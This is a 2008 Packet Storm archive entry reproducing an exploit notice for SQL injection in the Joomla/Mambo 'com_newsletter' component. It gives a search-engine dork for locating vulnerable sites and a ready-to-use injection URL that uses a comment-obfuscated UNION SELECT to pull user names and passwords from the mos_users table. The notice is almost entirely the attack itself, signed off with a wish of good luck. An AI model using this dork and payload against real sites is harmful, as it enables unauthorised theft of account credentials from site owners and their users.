joomlanewsletter-sql.txt

2008-01-30T00:00:00
ID PACKETSTORM:63088
Type packetstorm
Reporter S@BUN
Modified 2008-01-30T00:00:00

Description

                                        
                                            `#########################################################################  
#  
# joomla SQL Injection(com_newsletter)  
#  
#########################################################################  
#  
# AUTHOR : S@BUN  
#  
# HOME : http://www.hackturkiye.com/  
  
#########################################################################  
#  
# DorKs 1 : allinurl: "com_newsletter"  
#  
########################################################################  
EXPLOIT :  
  
index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*  
  
#########################################################################  
# S@BUN www.hackturkiye.com S@BUN  
#########################################################################  
# S@BUN GOOD LUCKY S@BUN  
#########################################################################  
  
  
  
  
notes:  
"Newsletter component for mambo 4.5" from Adam van Dongen, www.tim-online.nl //Thanks George  
  
`